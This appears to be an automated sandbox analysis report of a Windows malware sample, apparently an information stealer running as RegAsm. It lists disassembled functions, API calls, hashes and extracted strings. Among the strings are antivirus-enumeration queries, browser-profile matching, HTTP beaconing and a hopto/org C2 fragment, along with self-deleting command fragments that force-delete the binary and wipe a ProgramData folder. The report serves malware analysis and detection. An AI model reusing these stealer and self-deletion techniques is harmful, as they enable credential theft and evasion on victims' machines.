lstrcatA.KERNEL32(00000000,004373E0), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: f8360c7b20f5c763c3fe5353f3bf17e43d3046bd4b5fca662abcecd2461d19c4
Instruction ID: cb12ae993d912c3b022d06b06e2c92592983fa858de450ac94d351c27304df7b
Opcode Fuzzy Hash: f8360c7b20f5c763c3fe5353f3bf17e43d3046bd4b5fca662abcecd2461d19c4
Instruction Fuzzy Hash: D7C14D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 0041700A Relevance: 30.8, APIs: 8, Strings: 9, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,00418558), ref: 004170A6
OpenEventA.KERNEL32(001F0003,00000000,?,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004170B5
CreateDirectoryA.KERNEL32(?,00000000,004366D6), ref: 004175D3
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00417694
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004176AD

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 0041398B: StrCmpCA.SHLWAPI(?,block,?,?,0041770D), ref: 004139A0
Part of subcall function 0041398B: ExitProcess.KERNEL32 ref: 004139AB

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413161: strtok_s.MSVCRT ref: 00413180
Part of subcall function 00413161: strtok_s.MSVCRT ref: 00413203

Sleep.KERNEL32(000003E8), ref: 00417A63

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,00418558), ref: 004170C9

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417DFA,.exe,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4,00436CA0,00436C9C), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 00417FC9

Strings

cowod., xrefs: 00417E44
9bf5e431869643a2ac397d2dc0d687fb, xrefs: 004176D5
.exe, xrefs: 00417DCD
.exe, xrefs: 00417512
lC, xrefs: 00417E91, 00417EB5
org, xrefs: 00417EB0
http://, xrefs: 00417E20
_DEBUG.zip, xrefs: 00417EFE
hopto, xrefs: 00417E68

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$9bf5e431869643a2ac397d2dc0d687fb$_DEBUG.zip$cowod.$hopto$http://$org$lC
API String ID: 305159127-393421276
Opcode ID: 6d78f0ac804fd57a1086615410ebaa10ff6b96fde52fc882cf5b60deeac91281
Instruction ID: e6a5137aab0b02585c312a366981b90c2d2ef84b23aca7c17d1f9e0283a89aea
Opcode Fuzzy Hash: 6d78f0ac804fd57a1086615410ebaa10ff6b96fde52fc882cf5b60deeac91281
Instruction Fuzzy Hash: 839230715483419FC620FF26D94268EB7E1FF84308F51482FF58467191DBB8AA8D8B9B

Function 00413571 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135B3
StrCmpCA.SHLWAPI(?,true), ref: 00413675

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 00413737
lstrcpyA.KERNEL32(?,00000000), ref: 00413768
lstrcpyA.KERNEL32(?,00000000), ref: 004137A4
lstrcpyA.KERNEL32(?,00000000), ref: 004137E0
lstrcpyA.KERNEL32(?,00000000), ref: 0041381C
lstrcpyA.KERNEL32(?,00000000), ref: 00413858
lstrcpyA.KERNEL32(?,00000000), ref: 00413894
strtok_s.MSVCRT ref: 00413958

Strings

false, xrefs: 0041368E
true, xrefs: 0041366F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: befc15b187be6b2b38e80563b1c0e317862952651bbf4cbd0d99922f73119e34
Instruction ID: 65d56f248c55408504232a4b248d2aaf7f14f04557fc70ec434470b8b9719434
Opcode Fuzzy Hash: befc15b187be6b2b38e80563b1c0e317862952651bbf4cbd0d99922f73119e34
Instruction Fuzzy Hash: 39B16EB5900218ABCF64EF55DC89ACA77B5BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

%xA, xrefs: 00405250, 00405457, 0040539E
GET, xrefs: 00405325

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: %xA$GET
API String ID: 442264750-965130897
Opcode ID: 5eda22c1180280ec60e0e9aba7d13d88b3c8b3d58bd0c30e96fc8400d549b59a
Instruction ID: 3956a683f80eaa871a06acf695807d3cf49717e7413e1f5c78720f785125ede4
Opcode Fuzzy Hash: 5eda22c1180280ec60e0e9aba7d13d88b3c8b3d58bd0c30e96fc8400d549b59a
Instruction Fuzzy Hash: D15119B1900A28AFDF21DF64DC84BEFBBB9EB08346F0050E6E509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F30,?,AV: ,004368BC,Install Date: ,004368A8,00000000,Windows: ,00436898,Work Dir: In memory,00436880), ref: 004119AD
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

Select * From AntiVirusProduct, xrefs: 00411A23
displayName, xrefs: 00411A6F
WQL, xrefs: 00411A28
root\SecurityCenter2, xrefs: 004119F0
Unknown, xrefs: 00411AB4
Unknown, xrefs: 00411AA0
Unknown, xrefs: 00411A99

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: c93ca1d2a6f897a9c4ae10426155f3377e266de60e586299c0be346b63fafe79
Instruction ID: cce6899aa7c627b92ffde1b41d91a0a32178603b6ed2f5158660ab44c27762d3
Opcode Fuzzy Hash: c93ca1d2a6f897a9c4ae10426155f3377e266de60e586299c0be346b63fafe79
Instruction Fuzzy Hash: E4314F70A40245BBCB20DB95DC49EEFBF7DEFC9B10F20461AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043A9E4), ref: 004012D0
lstrcatA.KERNEL32(?,0043A9E8), ref: 004012DE
lstrcatA.KERNEL32(?,0043A9EC), ref: 004012EC
lstrcatA.KERNEL32(?,0043A9F0), ref: 004012FA
lstrcatA.KERNEL32(?,0043A9F4), ref: 00401308
lstrcatA.KERNEL32(?,0043A9F8), ref: 00401316
lstrcatA.KERNEL32(?,0043A9FC), ref: 00401324
lstrcatA.KERNEL32(?,0043AA00), ref: 00401332
lstrcatA.KERNEL32(?,0043AA04), ref: 00401340
lstrcatA.KERNEL32(?,0043AA08), ref: 0040134E
lstrcatA.KERNEL32(?,0043AA0C), ref: 0040135C
lstrcatA.KERNEL32(?,0043AA10), ref: 0040136A
lstrcatA.KERNEL32(?,0043AA14), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: 7c09a38ce43d697918557ffdd3582b74198df045ee5b993886cbba539546cb7b
Instruction ID: bb02b9b61323cbd202445dbb3cf167c11530b26af8ff3a40cca1d967d1d15d49
Opcode Fuzzy Hash: 7c09a38ce43d697918557ffdd3582b74198df045ee5b993886cbba539546cb7b
Instruction Fuzzy Hash: C14185B2E4422C66DB20DB719C59FDB7BAC9F14350F5005A3E8D8E3181D67CDA88CB98

Function 0041823A Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041825F
_memset.LIBCMT ref: 0041826E
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 00418283

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 0041841F
_memset.LIBCMT ref: 0041842E
_memset.LIBCMT ref: 00418440
ExitProcess.KERNEL32 ref: 00418450

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 00418359
" & exit, xrefs: 004183A3
" & exit, xrefs: 00418352
/c timeout /t 10 & del /f /q ", xrefs: 004182AE
" & rd /s /q "C:\ProgramData\, xrefs: 004182FC

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: 7b551fdd53861aa7b99f3137ecc587cd54ca6541074705811aa71ee93184293a
Instruction ID: 256a78b17c9948005ab358cac55532cee3df71b51ea82670ae7f250f6f357d14
Opcode Fuzzy Hash: 7b551fdd53861aa7b99f3137ecc587cd54ca6541074705811aa71ee93184293a
Instruction Fuzzy Hash: 9051ADB1D402299BCF21EF15CD41ADDB3BCAB44708F4110EAA718B7152DA786FC68F58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E34), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436EC4,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Strings

vA, xrefs: 00410B21
:\, xrefs: 00410A06
QuBi, xrefs: 00410A27
C, xrefs: 004109DF

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C$QuBi$vA
API String ID: 1856320939-740167995
Opcode ID: 57fc16cf79857abcabd25f63ac927c3afb549af7b73d97481b79b6e1733cd2e7
Instruction ID: 3566b5b4d93052567d522c6fdc3d71b8ac85739c9aed76841ebb70e79ed6e19c
Opcode Fuzzy Hash: 57fc16cf79857abcabd25f63ac927c3afb549af7b73d97481b79b6e1733cd2e7
Instruction Fuzzy Hash: 2341A1B1A042289BCB249F749D85ADEBBB9EF19304F0000EAF109E3150E6758FD58F54

Function 0040EABC Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?), ref: 0040EAF9
StrCmpCA.SHLWAPI(?), ref: 0040EB56
StrCmpCA.SHLWAPI(?,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(?), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040ECE3
StrCmpCA.SHLWAPI(?), ref: 0040ED40

Strings

YxA, xrefs: 0040ECD0, 0040EAE6
Stable\, xrefs: 0040ED5B
firefox, xrefs: 0040EE17
Stable\, xrefs: 0040EB71

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
